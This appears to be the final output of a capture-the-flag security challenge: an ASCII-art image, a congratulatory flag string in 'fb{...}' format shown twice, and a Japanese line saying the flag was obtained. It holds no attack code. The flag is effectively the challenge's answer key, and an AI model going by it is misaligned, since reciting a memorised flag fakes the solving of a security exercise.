MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNklcox0WWWWNNNNNNOlcl0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxccdKNWWWWNNNNNNXkccdXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKdccxXWWWWWNNNNNNNKdcckNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0oclkNWWWWNNNNNNNNNOlclOXNNNNNNNNNNNNNNNNNNNWWMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNklcoONWWWWWNNNNNNNNXxccclooooooooooooooooooooodk0XWMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKdccdKWWWWWWWWNNNNNNNXOxxxxxxxxxxxxxxxddddddddddoccoONMMMMMMM
MMMMMMMWXKKKKKKKKKKKKKKKKKKKKKKKKKKKXKklclkXWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNXKOoclOWMMMMMM
MMMMMMXklcccccccccccccccccccccccccccllcld0WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNNXxccxNMMMMMM
MMMMMM0lcclllllllllllllllllllllllccclokKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNNXOlclOWMMMMMM
MMMMMMKoccodddddddddddddddddddddlcclOXWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNKOdlclkXWMMMMMM
MMMMMMXoccodooooooooooooooooooddlccdKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNXOoccoONWMMMMMMM
MMMMMMXdccldooooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNNOl:oKMMMMMMMMM
MMMMMMNxccldooooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNNOlcoKMMMMMMMMM
MMMMMMWkccloooooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNXOoccxNMMMMMMMMM
MMMMMMWOlclodoooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNXkocclkXWMMMMMMMMM
MMMMMMM0lccodoooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNXklccxNWMMMMMMMMMM
MMMMMMMKoccodoooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNXxccxNMMMMMMMMMMM
MMMMMMMXdccodoooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNN0oclkNMMMMMMMMMMM
MMMMMMMNxccldoooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNX0klclxXWMMMMMMMMMMM
MMMMMMMWkcclooooooooooooooooooodlccdKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNN0occlkXWMMMMMMMMMMMM
MMMMMMMWOlclooooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNXOlco0WMMMMMMMMMMMMM
MMMMMMMM0lclodooooooooooxO00koodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNN0ocl0WMMMMMMMMMMMMM
MMMMMMMMKoccodooooooooooONNNKxodlcclxO0KNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNX0dccxXMMMMMMMMMMMMMM
MMMMMMMMXdccodooooooooooxO00koodlcccccclok0KXXXXXXXXXXXXXXXXXXXXXXXXXKKKKKKK00kdlclxKWMMMMMMMMMMMMMM
MMMMMMMMNxccldooooooooooooooooodlcccccodoccllllllllllllllllllllllllllllllllllcclox0NWMMMMMMMMMMMMMMM
MMMMMMMMWkccclllllllllllllllllllccccclONXKOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkOKXWWMMMMMMMMMMMMMMMMM
MMMMMMMMMN0xddddddddddddddddddddddddxONWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMWWWWWWWWWWWWWWWWWWWWWWWWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
fb{YOU GOT THE LAST FLAG!!! NICE WORK!!!}
フラグが得られました。
fb{YOU GOT THE LAST FLAG!!! NICE WORK!!!}